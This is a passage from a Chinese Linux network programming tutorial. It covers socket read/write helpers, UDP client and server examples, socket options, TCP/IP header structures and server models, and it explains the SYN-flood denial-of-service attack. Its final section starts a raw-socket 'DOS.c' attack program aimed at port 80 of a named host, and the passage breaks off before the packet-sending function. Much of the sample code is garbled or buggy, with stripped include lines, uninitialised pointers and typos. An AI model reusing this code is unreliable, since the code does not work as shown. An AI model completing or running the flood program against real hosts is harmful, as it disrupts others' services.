      如果错误为 EINTR,说明读是由中断引起的;
      如果是 ECONNREST,表示网络连接出了问题。

    和写函数一样,我们也写一个自定义的读函数:

    int my_read(int fd,void *buffer,int length) 
    { 
    int bytes_left; 
    int bytes_read; 
    char *ptr; 
    bytes_left=length; 
    while(bytes_left>;0) 
    { 
    bytes_read=read(fd,ptr,bytes_read); 
    if(bytes_read<0) 
    { 
    if(errno==EINTR) 
    bytes_read=0; 
    else 
    return(-1); 
    } 
    else if(bytes_read==0) 
    break; 
    bytes_left-=bytes_read; 
    ptr+=bytes_read; 
    } 
    return(length-bytes_left); 
    } 
    
  3. 数据的传递

    有了上面的两个读 / 写函数,我们就可以向客户端或者是服务端传递数据了。比如,我们要传递一个结构,可以使用如下方式:

    /* 客户端向服务端写 */ 
    struct my_struct my_struct_client; 
    write(fd,(void *)&my_struct_client,sizeof(struct my_struct); 
    /* 服务端的读 */ 
    char buffer[sizeof(struct my_struct)]; 
    struct *my_struct_server; 
    read(fd,(void *)buffer,sizeof(struct my_struct)); 
    my_struct_server=(struct my_struct *)buffer;
    

    在网络上传递数据时我们一般都是把数据转化为 char 类型的数据传递;接收的时候也是一样的。

    • Tips:注意的是,我们没有必要在网络上传递指针;
    • 因为传递指针是没有任何意义的,我们必须传递指针所指向的内容。

5.5 用户数据报发送

这一章,学习:基于 UDP 协议的网络程序。

  1. 两个常用的函数

    int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr *from, int *fromlen) 
    int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to, int *tolen) 
    

    sockfd、buf、len 的意义和 read、write 一样,分别表示套接字描述符、发送或接收的缓冲区及大小。
    (1)recvfrom 负责从 sockfd 接收数据,

    • 如果 from 不是 NULL,那么在 from 里面存储了信息来源的情况;
    • 如果对信息的来源不感兴趣,可以将 from 和 fromlen 设置为 NULL。

    (2)sendto 负责向 to 发送信息,此时在 to 里面存储了收信息方的详细资料。

  2. 一个实例

    (1)/* 服务端程序 server.c */

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define SERVER_PORT 8888 
    #define MAX_MSG_SIZE 1024 
    void udps_respon(int sockfd) 
    { 
    struct sockaddr_in addr; 
    int addrlen,n; 
    char msg[MAX_MSG_SIZE]; 
    while(1) 
    { /* 从网络上度,写到网络上面去 */ 
    n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0, 
    (struct sockaddr*)&addr,&addrlen); 
    msg[n]=0; 
    /* 显示服务端已经收到了信息 */ 
    fprintf(stdout,"I have received %s",msg); 
    sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen); 
    } 
    } 
    int main(void) 
    { 
    int sockfd; 
    struct sockaddr_in addr; 
    sockfd=socket(AF_INET,SOCK_DGRAM,0); 
    if(sockfd<0) 
    { 
    fprintf(stderr,"Socket Error:%s\n",strerror(errno)); 
    exit(1); 
    } 
    bzero(&addr,sizeof(struct sockaddr_in)); 
    addr.sin_family=AF_INET; 
    addr.sin_addr.s_addr=htonl(INADDR_ANY); 
    addr.sin_port=htons(SERVER_PORT); 
    if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0 
    ) 
    { 
    fprintf(stderr,"Bind Error:%s\n",strerror(errno)); 
    exit(1); 
    } 
    udps_respon(sockfd); 
    close(sockfd); 
    }
    

    (2)/* 客户端程序 */

    #include ; 
    #include ;
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define MAX_BUF_SIZE 1024 
    void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len) 
    { 
    char buffer[MAX_BUF_SIZE]; 
    int n; 
    while(1) 
    { /* 从键盘读入,写到服务端 */ 
    fgets(buffer,MAX_BUF_SIZE,stdin); 
    sendto(sockfd,buffer,strlen(buffer),0,addr,len); 
    bzero(buffer,MAX_BUF_SIZE); 
    /* 从网络上读,写到屏幕上 */ 
    n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL); 
    buffer[n]=0; 
    fputs(buffer,stdout); 
    } 
    } 
    int main(int argc,char **argv) 
    { 
    int sockfd,port; 
    struct sockaddr_in addr; 
    if(argc!=3) 
    { 
    fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]); 
    exit(1); 
    } 
    if((port=atoi(argv[2]))<0) 
    { 
    fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]); 
    exit(1); 
    } 
    sockfd=socket(AF_INET,SOCK_DGRAM,0); 
    if(sockfd<0) 
    { 
    fprintf(stderr,"Socket Error:%s\n",strerror(errno)); 
    exit(1); 
    } 
    /* 填充服务端的资料 */ 
    bzero(&addr,sizeof(struct sockaddr_in)); 
    addr.sin_family=AF_INET; 
    addr.sin_port=htons(port); 
    if(inet_aton(argv[1],&addr.sin_addr)<0) 
    { 
    fprintf(stderr,"Ip error:%s\n",strerror(errno)); 
    exit(1); 
    } 
    udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in)); 
    close(sockfd); 
    }
    

    (3)编译文件 Makefile

    ########### 编译文件 Makefile ########## 
    all:server client 
    server:server.c 
    	gcc -o server server.c 
    client:client.c 
    	gcc -o client client.c 
    clean:
    	rm -f server 
    	rm -f client 
    	rm -f core 
    

    由于 UDP 协议是不保证可靠接收数据的要求,所以在发送信息的时候,系统并不能够保证我们发出的信息都正确无误的到达目的地。

    • 在上述的实例中,

      ① 先运行服务端,然后运行客户端;
      ② 在客户端输入信息,发送到服务端,在服务端显示已经收到信息,但是客户端没有反映;
      ③ 再运行一个客户端,向服务端发出信息却可以得到反应;
      ④ 可能是第一个客户端已经阻塞了,或者其它隐含bug?

    一般来说,在编写网络程序的时候都是要选用更加可靠的 TCP 协议。

5.6 高级套接字函数

这一章来学习网络通信的高级函数,下面介绍另外几个读写函数:

  1. recv 和 send

    recv 和 send 函数提供了和 read 和 write 差不多的功能。不过它们提供了第四个参数来控制读写操作:

    int recv(int sockfd, void *buf, int len, int flags) 
    int send(int sockfd, void *buf, int len, int flags) 
    

    (1)参数说明

    前面的三个参数和 read、write 一样,第四个参数可以是 0 或者是以下的组合:

    • MSG_DONTROUTE 不查找路由表
      MSG_OOB 接受或者发送带外数据
      MSG_PEEK 查看数据,并不从系统缓冲区移走数据
      MSG_WAITALL 等待所有数据

    ① MSG_DONTROUTE:是 send 函数使用的标志,这个标志告诉 IP 协议,目的主机在本地网络上面,没有必要查找路由表。

    • 这个标志一般用网络诊断和路由程序里面。

    ② MSG_OOB:表示可以接收和发送带外的数据。

    ③ MSG_PEEK:是 recv 函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容;这样下次读的时候,仍然是一样的内容。

    • 一般在有多个进程读写数据时可以使用这个标志。

    ③ MSG_WAITALL:是 recv 函数的使用标志,表示等到所有的信息到达时才返回,使用这个标志的时候 recv 会一直阻塞,直到指定的条件满足,或者是发生了错误。

    如果 flags 为 0,则和 read、write 一样的操作;

    还有其它的几个选项,不过我们实际上用的很少,可以查看 Linux Programmer’s Manual 得到详细解释。

    (2)返回值

    ① 当读到了指定的字节时,函数正常返回,返回值等于 len;
    ② 当读到了文件的结尾时,函数正常返回,返回值小于 len;
    ③ 当操作发生错误时,返回-1,且设置错误为相应的错误号(errno) 。

  2. recvfrom 和 sendto

    这两个函数一般用在:非套接字的网络程序(UDP)当中,在前面的『用户数据报』章节已经做过介绍了。

  3. recvmsg 和 sendmsg

    recvmsg 和 sendmsg 可以实现前面所有的读写函数的功能:

    int recvmsg(int sockfd,struct msghdr *msg,int flags) 
    int sendmsg(int sockfd,struct msghdr *msg,int flags) 
    struct msghdr 
    { 
    void *msg_name; 
    int msg_namelen; 
    struct iovec *msg_iov; 
    int msg_iovlen; 
    void *msg_control; 
    int msg_controllen; 
    int msg_flags; 
    } 
    struct iovec 
    { 
    void *iov_base; /* 缓冲区开始的地址 */ 
    size_t iov_len; /* 缓冲区的长度 */ 
    }
    

    参数说明:

    • msg_name 和 msg_namelen

      • 当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息。

        msg_name 实际上是一个指向 struct sockaddr 的指针,msg_namelen 是结构的长度。

      • 当套接字是面向连接时,这两个值应设为 NULL。

    • msg_iov 和 msg_iovlen 指出接受和发送的缓冲区内容:
      msg_iov 是一个结构指针,msg_iovlen 指出这个结构数组的大小。

    • msg_control 和 msg_controllen 这两个变量是用来接收和发送控制时的数据。

    • msg_flags 指定接受和发送的操作选项,和 recv、send 的选项一样。

  4. 套接字的关闭

    关闭套接字有两个函数 close 和 shutdown,用 close 时和我们关闭文件一样。

  5. shutdown

    int shutdown(int sockfd, int howto)
    

    TCP 连接是双向的(是可读写的),当我们使用 close 时,会把读写通道都关闭;有时侯我们希望只关闭一个方向,这个时候我们可以使用 shutdown。

    (1)参数说明

    针对不同的 howto,系统回采取不同的关闭方式:

    • howto=0 这个时候系统会关闭读通道,但是可以继续往接字描述符写;
    • howto=1 关闭写通道,和上面相反,这时候就只可以读了;
    • howto=2 关闭读写通道,和 close 一样。

    在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用 shutdown,那么所有的子进程都不能够操作了,这个时候我们只能够使用 close 来关闭子进程的套接字描述符。

5.7 TCP/IP 协议

TCP/IP 协议是目前网络上使用最广泛的协议。

  1. 网络传输分层

    在网络上,人们为了传输数据时的方便,把网络的传输分为 7 个层次,分别是:

    • 应用层、表示层、会话层、传输层、网络层、数据链路层和物理层。

    分好了层以后,传输数据时,

    • 上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节。
    • 下一层也只向它的上一层提供数据,而不要去管其它东西了。
  2. IP 协议

    IP 协议是在网络层的协议,它主要完成数据包的发送作用。

    (1)数据包格式

    下面这个表是 IP4 的数据包格式:

    0 4 8 16 32 
    -------------------------------------------------- 
    |版本 |首部长度|服务类型| 数据包总长 | 
    -------------------------------------------------- 
    | 标识 |DF |MF| 碎片偏移 | 
    -------------------------------------------------- 
    | 生存时间 | 协议 | 首部较验和 | 
    ------------------------------------------------ 
    | 源 IP 地址 | 
    ------------------------------------------------ 
    | 目的 IP 地址 | 
    ------------------------------------------------- 
    | 选项 | 
    ================================================= 
    | 数据 | 
    -------------------------------------------------
    

    (2)结构定义

    下面我们看一看 IP 的结构定义;

    struct ip 
    { 
    #if __BYTE_ORDER == __LITTLE_ENDIAN 
    unsigned int ip_hl:4; /* header length */ 
    unsigned int ip_v:4; /* version */ 
    #endif 
    #if __BYTE_ORDER == __BIG_ENDIAN 
    unsigned int ip_v:4; /* version */ 
    unsigned int ip_hl:4; /* header length */ 
    #endif 
    u_int8_t ip_tos; /* type of service */ 
    u_short ip_len; /* total length */ 
    u_short ip_id; /* identification */ 
    u_short ip_off; /* fragment offset field */ 
    #define IP_RF 0x8000 /* reserved fragment flag */ 
    #define IP_DF 0x4000 /* dont fragment flag */ 
    #define IP_MF 0x2000 /* more fragments flag */ 
    #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 
    u_int8_t ip_ttl; /* time to live */ 
    u_int8_t ip_p; /* protocol */ 
    u_short ip_sum; /* checksum */ 
    struct in_addr ip_src, ip_dst; /* source and dest address */ 
    }; 
    

    参数说明:

    ① ip_v:IP 协议的版本号,这里是 4,现在 IPV6 已经出来了
    ② ip_hl:IP 包首部长度,这个值以 4 字节为单位。IP 协议首部的固定长度为 20 个字节,如果 IP 包没有选项,那么这个值为 5。
    ③ ip_tos:服务类型,说明提供的优先权。
    ④ ip_len:说明 IP 数据的长度。以字节为单位。
    ⑤ ip_id:标识这个 IP 数据包。
    ⑥ ip_off:碎片偏移,这和上面 ID 一起用来重组碎片的。
    ⑦ ip_ttl:生存时间。没经过一个路由的时候减一,直到为 0 时被抛弃。
    ⑧ ip_p:协议,表示创建这个 IP 数据包的高层协议。如 TCP,UDP 协议。
    ⑨ ip_sum:首部校验和,提供对首部数据的校验。
    ⑩ ip_src,ip_dst:发送者和接收者的 IP 地址。
    —— 关于 IP 协议的详细情况,请参考 RFC791

  3. ICMP 协议

    ICMP 是消息控制协议,也处于网络层。在网络上传递 IP 数据包时,如果发生了错误,那么就会用 ICMP 协议来报告错误。
    (1)数据包格式
    ICMP 包的结构如下:

    0 8 16 32 
    --------------------------------------------------------------------- 
    | 类型 | 代码 | 校验和 | 
    -------------------------------------------------------------------- 
    | 数据 | 数据 | 
    --------------------------------------------------------------------
    

    (2)结构定义

    ICMP 在;中的定义是:

    struct icmphdr 
    { 
    u_int8_t type; /* message type */ 
    u_int8_t code; /* type sub-code */ 
    u_int16_t checksum; 
    union 
    { 
    struct 
    { 
    u_int16_t id; 
    u_int16_t sequence; 
    } echo; /* echo datagram */ 
    u_int32_t gateway; /* gateway address */ 
    struct 
    { 
    u_int16_t __unused; 
    u_int16_t mtu; 
    } frag; /* path mtu discovery */ 
    } un; 
    }; 
    

    关于 ICMP 协议的详细情况可以查看 RFC792……

  4. UDP 协议

    UDP 协议是建立在 IP 协议基础之上的,用在传输层的协议。UDP 和 IP 协议一样是不可靠的数据报服务,

    (1)数据包格式

    UDP 的头格式为:

    0 16 32 
    --------------------------------------------------- 
    | UDP 源端口 | UDP 目的端口 | 
    --------------------------------------------------- 
    | UDP 数据报长度 | UDP 数据报校验 | 
    ---------------------------------------------------
    

    (2)结构定义

    UDP 结构在;中的定义为:

    struct udphdr { 
    u_int16_t source; 
    u_int16_t dest; 
    u_int16_t len; 
    u_int16_t check; 
    }; 
    

    —— 关于 UDP 协议的详细情况,请参考 RFC768

  5. TCP

    TCP 协议也是建立在 IP 协议之上的,不过 TCP 协议是可靠的。

    (1)数据包格式

    按照顺序发送的 TCP 的数据结构比前面的结构都要复杂:

    0 4 8 10 16 24 32 
    ------------------------------------------------------------------- 
    | 源端口 | 目的端口 | 
    ------------------------------------------------------------------- 
    | 序列号 | 
    ------------------------------------------------------------------ 
    | 确认号 | 
    ------------------------------------------------------------------ 
    | | |U|A|P|S|F| | 
    |首部长度| 保留 |R|C|S|Y|I| 窗口 | 
    | | |G|K|H|N|N| | 
    ----------------------------------------------------------------- 
    | 校验和 | 紧急指针 | 
    ----------------------------------------------------------------- 
    | 选项 | 填充字节 | 
    -----------------------------------------------------------------
    

    (2)结构定义

    TCP 的结构在;中定义为:

    struct tcphdr 
    { 
    u_int16_t source; 
    u_int16_t dest; 
    u_int32_t seq;
    u_int32_t ack_seq; 
    #if __BYTE_ORDER == __LITTLE_ENDIAN 
    u_int16_t res1:4; 
    u_int16_t doff:4; 
    u_int16_t fin:1; 
    u_int16_t syn:1; 
    u_int16_t rst:1; 
    u_int16_t psh:1; 
    u_int16_t ack:1; 
    u_int16_t urg:1; 
    u_int16_t res2:2; 
    #elif __BYTE_ORDER == __BIG_ENDIAN 
    u_int16_t doff:4; 
    u_int16_t res1:4; 
    u_int16_t res2:2; 
    u_int16_t urg:1; 
    u_int16_t ack:1; 
    u_int16_t psh:1; 
    u_int16_t rst:1; 
    u_int16_t syn:1; 
    u_int16_t fin:1; 
    #endif 
    u_int16_t window; 
    u_int16_t check; 
    u_int16_t urg_prt; 
    };
    

    参数说明:

    ① source:发送 TCP 数据的源端口。
    ② dest:接受 TCP 数据的目的端口。
    ③ seq:标识该 TCP 所包含的数据字节的开始序列号。
    ④ ack_seq:确认序列号,表示接受方下一次接受的数据序列号。
    ⑤ doff:数据首部长度;和 IP 协议一样,以 4 字节为单位;一般的时候为 5。
    ⑥ urg:如果设置紧急数据指针,则该位为 1。
    ⑦ ack:如果确认号正确,那么为 1。
    ⑧ psh:如果设置为 1,那么接收方收到数据后,立即交给上一层程序。
    ⑨ rst:为 1 的时候,表示请求重新连接。
    ⑩ syn:为 1 的时候,表示请求建立连接。
    ① fin:为 1 的时候,表示亲戚关闭连接。
    ② window:窗口,告诉接收者可以接收的大小。
    ③ check:对 TCP 数据进行较核。
    ④ urg_ptr:如果 urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值。

    —— 关于 TCP 协议的详细情况,请查看 RFC793。

  6. TCP 连接的建立

    TCP 协议是一种可靠的连接,为了保证连接的可靠性,TCP 的连接要分为几个步骤。我们把这个连接过程称为"三次握手"。

    (1)TCP 连接的 “三次握手”

    下面我们从一个实例来分析建立连接的过程。
    第一步:

    客户机向服务器发送一个 TCP 数据包,表示请求建立连接。 为此,客户端将数据包的 SYN 位设置为 1,并且设置序列号 seq=1000(我们假设为 1000)。

    第二步:

    服务器收到了数据包,并从 SYN 位为 1 知道这是一个建立请求的连接。于是服务器也向客户端发送一个 TCP 数据包。因为是响应客户机的请求,于是服务器设置 ACK 为 1,sak_seq=1001(1000+1)同时设置自己的序列号。seq=2000(我们假设为 2000)。

    第三步:

    客户机收到了服务器的 TCP,并从 ACK 为 1 和 ack_seq=1001 知道是从服务器来的确认信息。于是客户机也向服务器发送确认信息。客户机设置 ACK=1,和 ack_seq=2001,seq=1001,发送给服务器。至此客户端完成连接。

    最后一步:

    服务器受到确认信息,也完成连接。 通过上面几个步骤,一个 TCP 连接就建立了。当然在建立过程中可能出现错误,不过 TCP 协议可以保证自己去处理错误的。

    (2)DOS 攻击
    说一说TCP 连接过程中的一种错误。 听说过 DOS 吗?(可不是操作系统啊)。某年春节的时候,美国的五大网站一起受到攻击,攻击者用的就是 DOS(拒绝式服务)方式。概括的说一下原理:

    • 客户机先进行第一个步骤;服务器收到后,进行第二个步骤。按照正常的 TCP 连接,客户机应该进行第三个步骤, 不过,攻击者实际上并不进行第三个步骤。
    • 因为客户端在进行第一个步骤的时候,修改了自己的 IP 地址,就是说将一个实际上不存在的 IP 填充在自己 IP 数据包的发送者的 IP 一栏。
    • 这样,就会导致服务器发的 IP 地址没有人接收,所以服务端会收不到第三个步骤的确认信号,服务端会在那边一直等待,直到超时。
    • 当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求。
    • 最终结果:当正常的用户向服务器发出请求时,由于没有了资源而不能成功。于是就出现了那年春节时所出现的情况。

5.8 套接字选项

有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了。

  1. getsockopt 和 setsockopt

    int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen) 
    int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t *optlen)
    

    参数说明:

    • level:指定控制套接字的层次。
      可以取三种值:
      ① SOL_SOCKET:通用套接字选项;
      ② IPPROTO_IP:IP 选项;
      ③ IPPROTO_TCP:TCP 选项。
    • optname:指定控制的方式(选项的名称),我们下面详细解释。
    • optval:获得或者是设置套接字选项,根据选项名称的数据类型进行转换。
    选项名称 说明 数据类型
    ===========================================================
    =========== 
    SOL_SOCKET 
    ------------------------------------------------------------------------ 
    SO_BROADCAST 允许发送广播数据 int 
    SO_DEBUG 允许调试 int 
    SO_DONTROUTE 不查找路由 int 
    SO_ERROR 获得套接字错误 int 
    SO_KEEPALIVE 保持连接 int 
    SO_LINGER 延迟关闭连接 struct linge 
    r 
    SO_OOBINLINE 带外数据放入正常数据流 int 
    SO_RCVBUF 接收缓冲区大小 int 
    SO_SNDBUF 发送缓冲区大小 int 
    SO_RCVLOWAT 接收缓冲区下限 int 
    SO_SNDLOWAT 发送缓冲区下限 int 
    SO_RCVTIMEO 接收超时 struct timev 
    al 
    SO_SNDTIMEO 发送超时 struct timev 
    al 
    SO_REUSERADDR 允许重用本地地址和端口 int 
    SO_TYPE 获得套接字类型 int 
    SO_BSDCOMPAT 与 BSD 系统兼容 int 
    ===========================================================
    =========== 
    IPPROTO_IP 
    -------------------------------------------------------------------------- 
    IP_HDRINCL 在数据包中包含 IP 首部 int 
    IP_OPTINOS IP 首部选项 int 
    IP_TOS 服务类型
    IP_TTL 生存时间 int 
    ===========================================================
    =========== 
    IPPRO_TCP 
    -------------------------------------------------------------------------- 
    TCP_MAXSEG TCP 最大数据段的大小 int 
    TCP_NODELAY 不使用 Nagle 算法 int 
    ===========================================================
    
    

    —— 关于这些选项的详细情况请查看 《Linux Programmer’s Manual》。

  2. ioctl

    int ioctl(int fd, int req, ...) 
    

    ioctl 可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项:

    ===========================================================
    =========== 
    ioctl 的控制选项
    -------------------------------------------------------------------------- 
    SIOCATMARK 是否到达带外标记 int 
    FIOASYNC 异步输入/输出标志 int 
    FIONREAD 缓冲区可读的字节数 int
    ===========================================================
    =========== 
    

    —— 详细的选项请用 man ioctl_list 查看。

5.9 服务器模型

在这一章里面,我们一起来从软件工程的角度学习网络编程的思想。

  • 在我们写程序之前,我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件
    的效率才会高。
  • 在网络程序里面,一般的来说都是许多客户机对应一个服务器,为了处理客户机的请求, 对服务端的程序就提出了特殊的要求;
  • 目前最常用的服务器模型如下:
    循环服务器:在同一个时刻只可以响应一个客户端的请求;
    并发服务器:在同一个时刻可以响应多个客户端的请求。
  1. 循环服务器:UDP 服务器

    UDP 循环服务器的实现非常简单:UDP 服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机。可以用下面的算法来实现:

    socket(...); 
    bind(...); 
    while(1) 
    { 
    recvfrom(...); 
    process(...); 
    sendto(...); 
    } 
    

    因为 UDP 是非面向连接的,没有一个客户端可以老是占住服务端;只要处理过程不是死循环,服务器对于每一个客户机的请求总是能够满足。

  2. 循环服务器:TCP 服务器

    TCP 循环服务器的实现也不难:TCP 服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接。算法如下:

    socket(...); 
    bind(...); 
    listen(...); 
    while(1) 
    { 
    accept(...); 
    while(1) 
    { 
    read(...); 
    process(...); 
    write(...); 
    } 
    close(...); 
    } 
    

    TCP 循环服务器一次只能处理一个客户端的请求。

    • 只有在这个客户的所有请求都满足后,服务器才可以继续后面的请求;
    • 如果有一个客户端占住服务器不放时,其它的客户机都不能工作了。

    —— 因此,TCP 服务器一般很少用循环服务器模型的。

  3. 并发服务器:TCP 服务器

    为了弥补循环 TCP 服务器的缺陷,人们又想出了并发服务器的模型。并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个子进程来处理。算法如下:

    socket(...); 
    bind(...); 
    listen(...); 
    while(1) 
    { 
    accept(...); 
    if(fork(..)==0) 
    { 
    while(1) 
    { 
    read(...); 
    process(...);
    write(...); 
    } 
    close(...); 
    exit(...); 
    } 
    close(...); 
    }
    

    TCP 并发服务器可以解决 TCP 循环服务器客户机独占服务器的情况。不过也同时带来了一个不小的问题:

    • 为了响应客户机的请求,服务器要创建子进程来处理,
    • 而创建子进程是一种非常消耗资源的操作。
  4. 并发服务器:多路复用 I/O

    为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用 I/O 模型。首先介绍一个函数 select

    int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds,
               struct timeval *timeout) 
    void FD_SET(int fd, fd_set *fdset) 
    void FD_CLR(int fd, fd_set *fdset) 
    void FD_ZERO(fd_set *fdset) 
    int FD_ISSET(int fd, fd_set *fdset)
    

    (1)select 系统调用

    一般的来说,当我们在向文件读写时,进程有可能在读写过程出现阻塞,直到一定的条件满足。

    • 比如,当我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有发送数据过来),这个时候我们的读调用就会等待(阻塞),直到有数据可读;
    • 如果我们不希望阻塞,我们的一个选择是用 select 系统调用。只要我们设置好 select 的各个参数,那么当文件可以读写的时候 select 会"通知"我们说可以读写了。

    参数说明:

    readfds:所有要读的文件文件描述符的集合;
    writefds:所有要的写文件文件描述符的集合;
    exceptfds:其他的服要向我们通知的文件描述符;
    timeout:超时设置;
    nfds:所有我们监控的文件描述符中最大的那一个加 1。

    在我们调用 select 时进程会一直阻塞直到以下的一种情况发生:

    • ① 有文件可以读;
    • ② 有文件可以写;
    • ③ 超时所设置的时间到。

    为了设置文件描述符我们要使用几个

    FD_SET 将 fd 加入到 fdset;
    FD_CLR 将 fd 从 fdset 里面清除;
    FD_ZERO 从 fdset 中清除所有的文件描述符;
    FD_ISSET 判断 fd 是否在 fdset 集合中。

    (2)使用 select 的一个例子

    int use_select(int *readfd,int n) 
    { 
    fd_set my_readfd; 
    int maxfd; 
    int i; 
    maxfd=readfd[0]; 
    for(i=1;i<n;i++) 
    if(readfd>;maxfd) maxfd=readfd; 
    while(1) 
    { 
    /* 将所有的文件描述符加入 */ 
    FD_ZERO(&my_readfd); 
    for(i=0;i<n;i++) 
    FD_SET(readfd,*my_readfd); 
    /* 进程阻塞 */ 
    select(maxfd+1,& my_readfd,NULL,NULL,NULL); 
    /* 有东西可以读了 */ 
    for(i=0;i<n;i++) 
    if(FD_ISSET(readfd,&my_readfd)) 
    { 
    /* 原来是我可以读了 */ 
    we_read(readfd); 
    } 
    } 
    }
    

    使用 select 后我们的服务器程序就变成了:

    // 初始话(socket,bind,listen); 
    while(1) 
    { 
    /*设置监听读写文件描述符(FD_*); 
    调用 select;*/ 
    if // 如果是倾听套接字就绪,说明一个新的连接请求建立
    { 
    /*建立连接(accept); 
    加入到监听文件描述符中去; */
    } 
    else // 否则说明是一个已经连接过的描述符
    { 
    /*进行操作(read 或者 write); */
    } 
    } 
    

    多路复用 I/O 可以解决资源限制的问题,该模型实际上是将 UDP 循环模型用在了 TCP 上面, 这也就带来了一些问题:

    • 如,由于服务器依次处理客户的请求,所以可能会导致有的客户会等待很久。
  5. 并发服务器:UDP 服务器

    人们把并发的概念用于 UDP 就得到了并发 UDP 服务器模型。
    并发 UDP 服务器模型其实是简单的,和并发的 TCP 服务器模型一样,是创建一个子进程来处理的算法。

    实际应用:

    —— 除非,服务器在处理客户端的请求所用的时间比较长,人们在实际应用中很少使用这种模型。

  6. 一个并发 TCP 服务器实例

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define MY_PORT 8888 
    int main(int argc ,char **argv) 
    { 
    int listen_fd,accept_fd; 
    struct sockaddr_in client_addr; 
    int n; 
    if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0) 
    { 
    printf("Socket Error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    bzero(&client_addr,sizeof(struct sockaddr_in)); 
    client_addr.sin_family=AF_INET; 
    client_addr.sin_port=htons(MY_PORT); 
    client_addr.sin_addr.s_addr=htonl(INADDR_ANY); 
    n=1; 
    /* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */ 
    setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int)); 
    if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0) 
    { 
    printf("Bind Error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    listen(listen_fd,5); 
    while(1) 
    { 
    accept_fd=accept(listen_fd,NULL,NULL); 
    if((accept_fd<0)&&(errno==EINTR)) 
    continue; 
    else if(accept_fd<0) 
    { 
    printf("Accept Error:%s\n\a",strerror(errno)); 
    continue; 
    } 
    if((n=fork())==0) 
    { 
    /* 子进程处理客户端的连接 */ 
    char buffer[1024]; 
    close(listen_fd); 
    n=read(accept_fd,buffer,1024); 
    write(accept_fd,buffer,n); 
    close(accept_fd); 
    exit(0); 
    } 
    else if(n<0) 
    printf("Fork Error:%s\n\a",strerror(errno)); 
    close(accept_fd); 
    } 
    } 
    

    可以使用我们前面所写的客户端程序来调试上面这个程序;或者是用 telnet 来调试。

5.10 原始套接字

我们在前面已经学习过了:网络程序的两种套接字 —— (SOCK_STREAM,SOCK_DRAGM)。
在这一节里面我们一起来学习另外一种套接字 —— 原始套接字(SOCK_RAW)。

  • 应用原始套接字,我们可以编写出由 TCP 和 UDP 套接字不能够实现的功能;
  • 注意原始套接字只能够由有 root 权限的用户创建。
  1. 原始套接字的创建

    int sockfd(AF_INET, SOCK_RAW, protocol) 
    

    可以创建一个原始套接字,根据协议的类型不同,我们可以创建不同类型的原始套接字:

    • 比如:IPPROTO_ICMP, IPPROTO_TCP, IPPROTO_UDP 等等;

    详细的情况查看 ;
    下面我们以一个实例来说明原始套接字的创建和使用。

  2. 一个原始套接字的实例

    在这里我们就一起来编写一个实现 DOS(拒绝式服务) 的小程序:

    /******************** DOS.c *****************/ 
    #include ; 
    #include ; 
    #include ; 
    #include ;
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define DESTPORT 80 /* 要攻击的端口(WEB) */ 
    #define LOCALPORT 8888 
    void send_tcp(int sockfd,struct sockaddr_in *addr); 
    unsigned short check_sum(unsigned short *addr,int len); 
    int main(int argc,char **argv) 
    { 
    int sockfd; 
    struct sockaddr_in addr; 
    struct hostent *host; 
    int on=1; 
    if(argc!=2) 
    { 
    fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); 
    exit(1); 
    } 
    bzero(&addr,sizeof(struct sockaddr_in)); 
    addr.sin_family=AF_INET; 
    addr.sin_port=htons(DESTPORT); 
    if(inet_aton(argv[1],&addr.sin_addr)==0) 
    { 
    host=gethostbyname(argv[1]); 
    if(host==NULL) 
    { 
    fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 
    exit(1); 
    } 
    addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]); 
    } 
    /**** 使用 IPPROTO_TCP 创建一个 TCP 的原始套接字 ****/ 
    sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
    if(sockfd<0) 
    { 
    fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    /******** 设置 IP 数据包格式,告诉系统内核模块 IP 数据包由我们自己来填写 ***/ 
    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
    /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ 
    setuid(getpid()); 
    /********* 发送炸弹了!!!! ****/ 
    send_tcp(sockfd,&addr); 
    } 
    /******* 发送炸弹的实现 *********/ 
